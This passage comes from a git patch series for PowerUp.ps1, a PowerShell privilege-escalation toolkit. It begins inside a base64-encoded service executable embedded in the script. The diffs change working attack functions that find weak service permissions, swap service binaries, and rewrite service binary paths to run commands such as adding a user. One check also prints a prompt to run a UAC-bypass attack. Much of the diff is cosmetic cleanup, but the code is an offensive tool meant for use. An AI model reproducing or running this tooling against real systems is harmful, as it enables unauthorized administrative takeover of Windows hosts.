AAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAI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" [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary) } - process { + PROCESS { if(-not $Command) { if($UserName.Contains("\")) { # adding a domain user to the local group, no creation @@ -985,7 +1977,7 @@ function Install-ServiceBinary { [CmdletBinding()] Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ValueFromPipeline = $True, Mandatory = $True)] [String] $ServiceName, @@ -1002,7 +1994,7 @@ function Install-ServiceBinary { $Command ) - process { + PROCESS { # query WMI for the service $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} @@ -1080,7 +2072,7 @@ function Restore-ServiceBinary { [CmdletBinding()] Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ValueFromPipeline = $True, Mandatory = $True)] [String] $ServiceName, @@ -1088,7 +2080,7 @@ function Restore-ServiceBinary { $BackupPath ) - process { + PROCESS { # query WMI for the service $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} @@ -2156,6 +3148,7 @@ function Get-SiteListPassword { Server : tokyo000 .LINK + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md @@ -2373,6 +3366,7 @@ function Invoke-AllChecks { } else{ "`n`n[*] Checking if user is in a local group with administrative privileges..." + if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ){ "[+] User is in a local group that grants administrative privileges!" "[+] Run a BypassUAC attack to elevate privileges to admin." @@ -2394,14 +3388,14 @@ function Invoke-AllChecks { } "`n`n[*] Checking service executable and argument permissions..." - $Results = Get-ServiceFilePermission + $Results = Get-ModifiableServiceFile $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Service Executable Permissions

    " | Out-File -Append $HtmlReportFile } "`n`n[*] Checking service permissions..." - $Results = Get-ServicePermission + $Results = Get-ModifiableService $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Service Permissions

    " | Out-File -Append $HtmlReportFile From a1ba3876b1a7fb03af7110f3423cca91a02bdb4b Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 2 Jun 2016 00:00:35 -0400 Subject: [PATCH 147/296] -Help expanded for Invoke-ServiceAbuse -Fixed parameter sets for Write-ServiceBinary and added -Credential and -Service params -Simplified/corrected logic for Install-ServiceBinary -Fixed parameter sets and simplified logic for Restore-ServiceBinary -Added sanity check with Get-ModifiableFile for Install-ServiceBinary -Cleaned up lingering spaces --- Privesc/PowerUp.ps1 | 830 ++++++++++++++++++++++++++------------------ 1 file changed, 490 insertions(+), 340 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index c5f881da..2b75c8e4 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -30,7 +30,7 @@ Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - + .DESCRIPTION When defining custom enums, structs, and unmanaged functions, it is @@ -138,7 +138,7 @@ Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: func - + .DESCRIPTION Add-Win32Type enables you to easily interact with unmanaged (i.e. @@ -354,7 +354,7 @@ are all incorporated into the same in-memory module. foreach ($Key in $TypeHash.Keys) { $Type = $TypeHash[$Key].CreateType() - + $ReturnTypes[$Key] = $Type } @@ -374,7 +374,7 @@ Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - + .DESCRIPTION The 'psenum' function facilitates the creation of enums entirely in @@ -490,15 +490,15 @@ function field [Parameter(Position = 0, Mandatory = $True)] [UInt16] $Position, - + [Parameter(Position = 1, Mandatory = $True)] [Type] $Type, - + [Parameter(Position = 2)] [UInt16] $Offset, - + [Object[]] $MarshalAs ) @@ -523,7 +523,7 @@ Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: field - + .DESCRIPTION The 'struct' function facilitates the creation of structs entirely in @@ -690,7 +690,7 @@ New-Struct. :P { $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) } - + $NewField.SetCustomAttribute($AttribBuilder) } @@ -748,8 +748,8 @@ function Get-ModifiableFile { .DESCRIPTION - Takes a complex path specification of an initial file/folder path with possible - configuration files, 'tokenizes' the string in a number of possible ways, and + Takes a complex path specification of an initial file/folder path with possible + configuration files, 'tokenizes' the string in a number of possible ways, and enumerates the ACLs for each path that currently exists on the system. Any path that the current user has modification rights on is returned in a custom object that contains the modifiable path, associated permission set, and the IdentityReference with the specified @@ -757,7 +757,7 @@ function Get-ModifiableFile { comparison set against the parsed path DACLs. .PARAMETER Path - + The string path to parse for modifiable files. Required .EXAMPLE @@ -820,7 +820,7 @@ function Get-ModifiableFile { # possible separator character combinations $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { $CandidatePaths += $TargetPath.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path @@ -869,20 +869,21 @@ function Get-ModifiableFile { function Add-ServiceDacl { <# .SYNOPSIS - + Adds a Dacl field to a service object returned by Get-Service. + Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause .DESCRIPTION - Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a - Dacl field to each object. It does this by opening a handle with ReadControl for the - service with using the GetServiceHandle Win32 API call and then uses + Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a + Dacl field to each object. It does this by opening a handle with ReadControl for the + service with using the GetServiceHandle Win32 API call and then uses QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. .PARAMETER Service - + An array of one or more ServiceProcess.ServiceController objects from Get-Service. .EXAMPLE @@ -898,13 +899,14 @@ function Add-ServiceDacl { Add the Dacl to the VMTools service object. .OUTPUTS - + ServiceProcess.ServiceController .LINK - + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> + [OutputType([ServiceProcess.ServiceController])] param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] @@ -1014,37 +1016,38 @@ function Add-ServiceDacl { function Set-ServiceBinPath { <# .SYNOPSIS - + Sets the binary path for a service to a specified value. + Author: @harmj0y, Matthew Graeber (@mattifestation) License: BSD 3-Clause .DESCRIPTION - Takes a ServiceProcess.ServiceController or a ServiceName and first opens up a + Takes a ServiceProcess.ServiceController or a ServiceName and first opens up a service handle to the service with ConfigControl access using the GetServiceHandle Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) to the string value specified by binPath, and the handle is closed off. - Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a - Dacl field to each object. It does this by opening a handle with ReadControl for the - service with using the GetServiceHandle Win32 API call and then uses + Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a + Dacl field to each object. It does this by opening a handle with ReadControl for the + service with using the GetServiceHandle Win32 API call and then uses QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. .PARAMETER Service - + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER ServiceName - + The name of the service to modify the binPath for. .PARAMETER binPath - + The new binary path (lpBinaryPathName) to set for the specified service. Required. .OUTPUTS - + $True if configuration succeeds, $False otherwise. .EXAMPLE @@ -1060,9 +1063,10 @@ function Set-ServiceBinPath { Sets the binary path for 'VulnSvc' to be a command to add a user. .LINK - + https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx #> + [CmdletBinding(DefaultParameterSetName='ServiceName')] param ( [Parameter(ParameterSetName='Service', Mandatory = $True, ValueFromPipeline = $True)] @@ -1129,7 +1133,7 @@ function Set-ServiceBinPath { } catch { $ServiceHandle = $Null - Write-Warning "Error opening up the service handle with read control for $ServiceName : $_" + Write-Warning "Error opening up the service handle with read control for $ServiceName : $_" } } @@ -1162,9 +1166,10 @@ function Set-ServiceBinPath { filter Test-ServiceDaclPermission { <# .SYNOPSIS - - Tests one or more passed services or service names against a given permission set, + + Tests one or more passed services or service names against a given permission set, returning the service objects where the current user have the specified permissions. + Author: @harmj0y, Matthew Graeber (@mattifestation) License: BSD 3-Clause @@ -1177,11 +1182,11 @@ filter Test-ServiceDaclPermission { user have the specified permissions are returned. .PARAMETER Service - + A ServiceProcess.ServiceController object to test against the specified permission set. .PARAMETER ServiceName - + The name of the service to test against the specified permission set. .PARAMETER Permissions @@ -1190,13 +1195,13 @@ filter Test-ServiceDaclPermission { 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' - + .PARAMETER PermissionSet A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'. - + .OUTPUTS - + ServiceProcess.ServiceController .EXAMPLE @@ -1222,6 +1227,7 @@ filter Test-ServiceDaclPermission { https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> + [OutputType([ServiceProcess.ServiceController])] [CmdletBinding(DefaultParameterSetName='ServiceName')] param ( @@ -1295,7 +1301,7 @@ filter Test-ServiceDaclPermission { } if($TargetService -and $TargetService.Dacl) { - + # enumerate all group SIDs the current user is a part of $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value @@ -1307,7 +1313,7 @@ filter Test-ServiceDaclPermission { if($CheckAllPermissionsInSet) { $AllMatched = $True ForEach($TargetPermission in $TargetPermissions) { - # check permissions && style + # check permissions && style if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" $AllMatched = $False @@ -1320,7 +1326,7 @@ filter Test-ServiceDaclPermission { } else { ForEach($TargetPermission in $TargetPermissions) { - # check permissions || style + # check permissions || style if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { Write-Verbose "Current user has '$TargetPermission' for $($TargetService.Name)" $TargetService @@ -1349,24 +1355,24 @@ function Get-ServiceUnquoted { Returns the name and binary path for services with unquoted paths that also have a space in the name. - + .EXAMPLE PS C:\> $services = Get-ServiceUnquoted - + Get a set of potentially exploitable services. .LINK - + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb #> # find all paths to service .exe's that have a space in the path and aren't quoted $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} - + if ($VulnServices) { ForEach ($Service in $VulnServices){ - + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $Service.name if($ServiceRestart) { @@ -1376,7 +1382,7 @@ function Get-ServiceUnquoted { $CanRestart = $False } - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname @@ -1399,16 +1405,16 @@ function Get-ModifiableServiceFile { Enumerates all services by querying the WMI win32_service class. For each service, it takes the pathname (aka binPath) and passes it to Get-ModifiableFile to determine if the current user has rights to modify the service binary itself or any associated - arguments. If the associated binary (or any configuration files) can be overwritten, + arguments. If the associated binary (or any configuration files) can be overwritten, privileges may be able to be escalated. - + .EXAMPLE PS C:\> Get-ModifiableServiceFile Get a set of potentially exploitable service binares/config files. #> - + Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { $ServiceName = $_.name @@ -1426,7 +1432,7 @@ function Get-ModifiableServiceFile { $CanRestart = $False } - $Out = New-Object PSObject + $Out = New-Object PSObject 